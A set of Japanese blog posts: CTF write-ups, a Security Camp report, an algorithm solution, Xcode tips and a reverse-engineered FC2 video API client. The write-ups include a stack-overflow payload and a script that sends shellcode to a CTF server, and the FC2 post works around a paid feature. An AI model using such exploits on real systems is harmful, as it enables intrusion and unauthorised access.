tkbctf4 writeup

  • 画像のやつ

72900 = 270^2なので適当に調整

import PIL.Image

im = PIL.Image.open("monochrome_bar.png")
out = PIL.Image.new("RGB", (270, 270))

for i in range(270):
    for j in range(270):
        c = im.getpixel((i*270+j, 0))
        out.putpixel((j, i), (c, c, c))
        
out.save("out.png")


  • bin100

テキトーにやったら解けた。ほとんどエスパー。

   0x00000000004005d2 <+18>:	mov    DWORD PTR [rsp+0x3f0],0x6b
   0x00000000004005dd <+29>:	mov    DWORD PTR [rsp+0x3f4],0x6b
   0x00000000004005e8 <+40>:	mov    rbp,rsp
   0x00000000004005eb <+43>:	mov    DWORD PTR [rsp+0x3f8],0x6a
   0x00000000004005f6 <+54>:	mov    DWORD PTR [rsp+0x3fc],0x6a
   0x0000000000400601 <+65>:	mov    QWORD PTR [rsp+0x420],rax
   0x0000000000400609 <+73>:	movzx  eax,WORD PTR [rip+0x340]        # 0x400950 <__dso_handle+48>
   0x0000000000400610 <+80>:	mov    DWORD PTR [rsp+0x400],0x68
   0x000000000040061b <+91>:	mov    DWORD PTR [rsp+0x404],0x6c
   0x0000000000400626 <+102>:	mov    DWORD PTR [rsp+0x408],0x68
   0x0000000000400631 <+113>:	mov    DWORD PTR [rsp+0x40c],0x6c
   0x000000000040063c <+124>:	mov    DWORD PTR [rsp+0x410],0x62
   0x0000000000400647 <+135>:	mov    DWORD PTR [rsp+0x414],0x61

と明らかにASCIIを積んでるので文字列にする。
コピペしたら遅いと怒られたので

echo "hoge" | ./bin100

とすると良い。

  • bin200

簡単な割にメチャクチャ時間がかかった。

dats = [[0xc2, 0xc8, 0xdf, 0xc5, 0xea, 0xc3, 0xf0],
        [0xe5, 0xf0, 0xfe, 0xe0, 0xe3, 0xc8, 0xfe],
        [0xc0, 0xe5, 0xf6, 0xf5, 0xf4, 0xd0, 0xf6],
        [0xf6, 0xfb, 0xed, 0xe6, 0xee, 0xab, 0xe9]]

for i, v in enumerate(dats):
    x = 0x90 + i + 1
    print "".join([chr(d^x) for d in v])

出力された文字をROT13に掛ける

  • bin500

srand(time)系。じゃんけんに必勝出来る所で時間切れ。shellcodeが上手く動いてくれなかった。
乱数を吐くだけのプログラムをCで作り、Pythonで受け取ってやると良い。

python bin500.py $(date +%s)
import subprocess
import sys
import socket

def func(ecx):
    edx = (ecx * 0x55555556) / 0x100000000
    eax = (ecx * 0x55555556) % 0x100000000
    
    eax = ecx
    eax >>= 0x1F
    edx -= eax
    eax = edx*3
    ecx -= eax
    return ecx

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("203.178.132.117", 3939))

p = subprocess.Popen(['./time', sys.argv[1]],
                    stdout=subprocess.PIPE,
                     )

for i, rand in enumerate(map(int, p.stdout.readlines())):
    print i
    if i == 7:
        break
    
    print s.recv(1024)
    s.sendall("%d\n" % ((func(rand)+1)%3))
    
s.sendall(open("shellcode", "rb").read())

while 1:
    content = s.recv(1024)
    if content:
        print content

    

セキュキャン2014参加記

ソフトウェアセキュリティで参加した。

とても密度の濃い学習が出来る。飯食ってる時も延々とバイナリの話が出来て楽しい。
自分が学んできた書籍の著者と直接話すことが出来て不思議な感覚だった。

僕のチームはCTF優勝、グループ発表準優勝と輝かしい成績を残せた。

以下からは反省点です。
来年参加したい人は参考にしてください。

とにかく規則正しい生活がしんどかった。睡眠時間はまだ順応しやすかったが、一日三食がなれずにキャンプ前半はぐったりしていた。参加する前に人間らしい生活を心がけた方がいい。

事前課題をやり込むべき。決してサボっていたわけではなかったが、あの本に書いてあるのに読んでる時間がない!(キャンプ中は殆ど自学出来る時間がない)となって悔しい思いをした。講義から最大限知見を得るためにも時間の掛る事は事前にやっておくべき。

POJ 3669 Meteor Showerをbfsを使わずに解いてみるよ!

POJ3669といえば蟻本初級編章末でbfs問題として紹介されている。
事実bfsで解けるし、そのコードはこれが綺麗。今回の解法でも非常に参考になった。

さて、この問題、以前東方AIに使ったDP的な方法で解けるように見えた。
つまり移動可能な領域を探索深さが進むにつれ拡張(場合によっては縮小)していくことで、深さtにおいてある地点に移動可能かどうか知るという方法である。

#include <iostream>
#include <stdio.h>
using namespace std;

const int INF = 100000000;
const int N = 310;
const int MAX_T = 1000;
int grid[N][N];
bool dist[N][N][2];
int dx[] = {0, 0, 0, 1, -1};
int dy[] = {0, 1, -1, 0, 0};

int solve(){
    if(grid[1][1] == 0)
        return -1;
    dist[1][1][0] = true;
    for(int t=1; t<MAX_T; t++)for(int i=1; i<N-1; i++)for(int j=1; j<N-1; j++){
        if(dist[i][j][(t+1)%2]){
            for(int d=0; d<5; d++){
                int nx = i+dx[d], ny = j+dy[d];
                if(t < grid[nx][ny]){
                    dist[nx][ny][t%2] = true;
                    if(grid[nx][ny] == INF)
                        return t;
                }else{
                    dist[nx][ny][t%2] = false;
                }
            }
        }
    }
    return -1;
}

int main(int argc, const char * argv[]){
    for(int i=0; i<N; i++)
        for(int j=0; j<N; j++)
            grid[i][j] = INF;
    for(int i=0; i<N; i++){
        grid[0][i] = 0;
        grid[i][0] = 0;
    }
    int M;
    scanf("%d", &M);
    int X, Y, T;
    for(int m=0; m<M; m++){
        scanf("%d%d%d", &X, &Y, &T);
        X++; Y++;
        for(int d=0; d<5; d++){
            int& g = grid[X+dx[d]][Y+dy[d]];
            g = min(g, T);
        }
    }
    printf("%d\n", solve());
    return 0;
}

このアルゴリズムの計算量はO(N * N * T), N=高さ, 幅, T = 最大深さである。一般にbfsの計算量は状態数×遷移数であるが、これも同様にO(N * N * T * 5)でよく一致している。

この方法は実は典型的なdfs問題である迷路の最短経路問題でも用いることが出来る。
しかし、この場合も安直に移動可能領域を更新するなら同様に計算量はO(N * N * T)である。一方bfsではO(N * N * 4)で圧倒的に速い。

これは簡単な枝刈りで解消される。迷路問題の場合、更新される移動可能領域は必ずその領域のエッジ部(移動可能領域と不可領域の境界)である。このエッジ部をqueueに入れて管理すればbfsと全く同様の動きをすることが分かる(深さがイメージしやすい分bfsの理解がしやすいかも?)。

復習をすると新たな気付きがあって良い。

SECCON CTF web予選に参加した

チーム竹田氏として参加した。解けたのはbin100, bin200。あまり力になれなくて悲しい。

  • bin100(Enjoy the Game)

64bitアプリケーションだったので各種フリーのデバッガやプロセスエディタが使えなかった。バイナリエディタのみで解いた。

まず、data/kabe.mpoを弄って床だけにしてやる。一見ゴールに辿り着くパスが無いように見える。

フィールド情報を弄ってゴールにたどり着けるようにすればいいんじゃないかと思った。
サンプルコードを見るに以下のようなフィールド情報がグローバル変数として宣言されている。

char Map[ BLOCK_NUM_Z ][ BLOCK_NUM_X ] =
{
 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
 0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,
 0,0,0,1,0,0,1,0,1,0,0,1,0,0,1,0,
 0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,0,
 0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,
 0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,
 0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,
 0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,
 0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,
 0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,
 0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,
 0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,
 0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,
 0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,
 0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,
 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
} ;

0x00が壁、0x01が道に相当する。
グローバル変数は.dataセクションに格納されているので、PEヘッダからある程度範囲がわかる&データもサンプルコードに則るだろうということで検索してやると発見できる。

全て0x01(道)で埋め立てpassの場所に移動すると3D_GameAAAと出る。しかしこれは答えではなかった。
3D_GameAAA_is_NOT_password_Enjoy_HackingAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

よく見るとサンプルコードにないデータとして0x02が入っている。試してみるとこれはテクスチャは壁に相当する(道が無いようにみえる)のに通ることは可能というものだった。つまり、一見ゴールにたどり着くのは不可能に見えるが、実際は0x02の場所を通れるので正規の手段でクリアできる。

あとは楽しく迷路をたどるとフラグを得た。

  • bin200(名前忘れた)

指定されたportにncでアクセスると文字列の入力を促される。入力すると文字が反転して表示される。80文字以上入れるとセグフォする。

与えられていたバイナリをIDAに突っ込んで読んでいくと、反転処理はreverse80()で行っていることが分かる。また、flag()といういかにもな関数があって、
これに飛ばしてやればフラグが取れるらしいことも分かった。
reverse80()はreverse()から呼ばれているのだが、reverse()で文字数のチェックを行い、strlength = max(strlength, 80)的処理を行う。

注目すべき点はここ。

ebp+var_54がループカウンタ、ebp+arg_4がstrlengthに相当する。

reverse(char *input, int strlength){
    char tmpbuff[0x50];
    int i;
    for(i=0; i<=strlength; i++){
        tmpbuff[i] = input[i];
    }
    for(i=0; i<=strlength; i++){
        input[i] = tmpbuff[strlength-i];
    }
}

Cに起こすとこんな感じ。iこれが出てくる。
上記を参考に"x"*76 + "\x80\x8e\x04\x08" + "??"的な文字列を投げてやると良い。(\x80\x8e\x04\x08はflag()の関数アドレスのリトルエンディアン)

さて、ebpを上書きする"??"はmain()関数のesp/ebpから逆算出来るはずなのだが、何度やっても計算が合わなかった。仕方ないのでx100回総当りするとフラグが送られてきた。

  • その他400(solve the steganography)

かなり近いところまで行っていたのだけども解ききれなかった。

まず、謎の透明(に見える)pngを問題から得る。この時SECCONページだとビミョーにQRコードの断片が見えるのが有情。

Pythonでalpha値を元にQRコードを取り出す。

import Image

img = Image.open("stegano.png")

out = Image.new("RGB", (75, 75))
for i in range(75):
    for j in range(75):
        if img.getpixel((i, j))[3] == 0:
            out.putpixel((i, j),(255, 255, 255))
out.save("out3.png")

その他の色要素であるRGBについてもQRコードの情報が埋まっていると踏んだ。
変化を見やすくするためにピクセルの色を3乗してみた。

import Image

img = Image.open("stegano.png")

out = Image.new("RGB", (75, 75))
for i in range(75):
    for j in range(75):
        c = img.getpixel((i, j))[0]
        out.putpixel((i, j),(c**3/(255**2), c**3/(255**2), c**3/(255**2)))
out.save("out0.png")

複数のQRコードの断片が重なっているようにみえる。ここで、何枚かの画像が重なっているにも関わらず、ある程度模様が認識できるのは、それぞれの状態が独立しているためだと考えた。つまり、端的にいうと色情報のnビット目が立っているかどうかで画像を分けた。

import Image

img = Image.open("stegano.png")

for l in range(4):
    for k in range(8):
        out = Image.new("RGB", (75, 75))
        for i in range(75):
            for j in range(75):
                c = img.getpixel((i, j))[l]
                if c & (1<<k) == 0:
                    out.putpixel((i, j),(255, 255, 255))
        out.save("test%d/out%d-%d.png" %(l, l, k))

これをつなげて文字を消すとこうなる。

読み込むとbase64エンコードされた文字列が出てきたので複合。それをuuencodeで再度複合…してやったのだがここで上手く行っていなかったらしく正しいデータが得られなかった。rot13にも気付いて、最終的に得られた文字列は
I SAY HEY-YEAH-YEA-EAH, HEY YEA YEA
I SAY HEY! WHA|D L )HUZr9CL8%9r!U Y?24("HEYYEYAAEYAAAEYAEYAA")
これだった。悔やまれる。

【忘備録】Xcodeでファイルのテンプレートを変更する方法

この記事はXcode5.0.2についてです。バージョンによって細部が変わります。

競プロコードのひな形を最初から設定できるようにしたい。
やることはあまり多くないのに情報が錯綜していて結構詰まってしまった。

//
//  main.cpp
//  POJ3176
//

#include <algorithm>
#include <iostream>
#include <map>
#include <numeric>
#include <set>
#include <sstream>
#include <string>
#include <vector>
using namespace std;

#define FOR(i,s,e) for (int i = int(s); i != int(e); i++)
#define FORIT(i,c) for (typeof((c).begin()) i = (c).begin(); i != (c).end(); i++)
#define ISEQ(c) (c).begin(), (c).end()

int main(int argc, const char * argv[]){

    return 0;
}
  • include, define, main関数内の変更方法

これはApplication/Xcode.app/Contents/Developer/Library/Templates/Project Templates/Mac/Application/Command Line Tool.xctemplate/Templateinfo.plistを変更すれば良い。

sudo chown -R <username> Command Line Tool.xctemplate

事前にTemplateinfo.plistの書き込み権限付加のために上のコードを実行しておく。

Templateinfo.plistをXcodeで開いてInformation Property List>Options>Item 0>Units>C++>Definitionsと進み、以下のinclude, contentを変更する。
直接includeにdefineも書き込んだが、丁寧にするならplistを直接編集してdefineなども追加すれば良い。

  • Copyrightなどの上部分のコメントの変更方法

これはApplication/Xcode.app/Contents/Developer/Library/Templates/Project Templates/Base/Base.xctemplate/Templateinfo.plistを編集すれば良い。
同様に書き込み権限付加をしておく。
Information Property List>Definitionsと進み、commentsを編集すれば変更が反映される。

Copyrightの文字列自体の変更は以下を参照してください。
how to set default comments in Xcode?
How to set ___COPYRIGHT___ in Xcode 4.5

FC2アダルトのAPI解析してみるよ!

みんな大好きFC2アダルト!しかし、有料会員にならないと動画のソートを出来ない。
どうにかして動画のソートを出来ないか考えてみる。

以前にスクレイピングで動画情報を取得するコードを書いたが、久々に動かしたら使えなくなっていた。

もっとエレガントな方法、APIを用いて動画情報を取得したい。
APIAndroidクライアントで使われているはずなのでそれを調べた。

下のコードを読めば大体わかると思います。

# -*- coding: utf-8 -*-
import urllib
import urllib2
import xml.etree.ElementTree as ET
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from datetime import *
import base64
import json
from operator import attrgetter

class Fc2():
    hash = ""
    fc2id = ""
    password = ""
    vlist = []
    keyword = ""
    
    api_url = "http://video.fc2.com/android_api.php"
    
    def __init__(self):
        usr = json.loads(open("usr.json").read())
        self.fc2id = str(usr["email"])
        self.password = str(usr["password"])
        
    def refresh_hash(self):
        values = {
                  "method":"get_public_key"
                  }
        data = urllib.urlencode(values)
        response = urllib2.urlopen(self.api_url, data)
        xml = response.read()
        elem = ET.fromstring(xml)
        pem = elem.find("public_key").text
        key = RSA.importKey(pem)
        cipher = PKCS1_v1_5.new(key)
        
        s = "..".join((self.fc2id, self.password, datetime.today().strftime("%Y%m%d%H")))
        data = base64.b64encode(cipher.encrypt(s))
        
        values = {
                  "method":"login",
                  "data":data,
                  }
        data = urllib.urlencode(values)
        response = urllib2.urlopen(self.api_url, data)
        xml = response.read()
        elem = ET.fromstring(xml)
        self.hash = elem.find("hash").text
        
    def total_of_search_keyword(self, keyword):
        self.refresh_hash()
        values = {
                  "method":"content_search",
                  "keyword":keyword,
                  "hash":self.hash,
                  "adult":1,
                  "page":1,
                  }
        data = urllib.urlencode(values)
        response = urllib2.urlopen(self.api_url, data)
        elem = ET.fromstring(response.read())
        return int(elem.find("total").text)
        
    def page_of_search_keyword(self, page):
        values = {
                  "method":"content_search",
                  "keyword":self.keyword,
                  "hash":self.hash,
                  "adult":1,
                  "page":page,
                  }
        data = urllib.urlencode(values)
        response = urllib2.urlopen(self.api_url, data)
        content = response.read()
        elem = ET.fromstring(content)
        
        for vnode in elem.iter("video"):
            vdict = {}
            for child in vnode.findall(".*"):
                vdict[child.tag] = vnode.find(child.tag).text
            self.vlist.append(vdict)
    
    def search_keyword(self, keyword):
        self.vlist = []
        self.keyword = keyword
        total = self.total_of_search_keyword(keyword)
        print "Total:", total
        pagenum = (total+7)/8
        for i in xrange(1, pagenum+1):
            self.page_of_search_keyword(i)
            
    def sort(self, sortby="view_count", accending=False):
        self.vlist.sort(key=lambda video:int(video[sortby]), reverse=not accending)
            


残念なことにキーワード情報から動画情報を取得するAPIでは1回叩くたびに8つしか取れない。
結局速度の点ではスクレイピングと大して変わらない(スクレイピングでは1ページに50の動画情報が取れる)
Hashさえ取れれば後の通信は暗号化されていなかった。

DOSにならないように高速に動画情報を取得、ソートetcをしたいならデータベースでも作るしか無い。
しかしサーバーがなかった(おわり)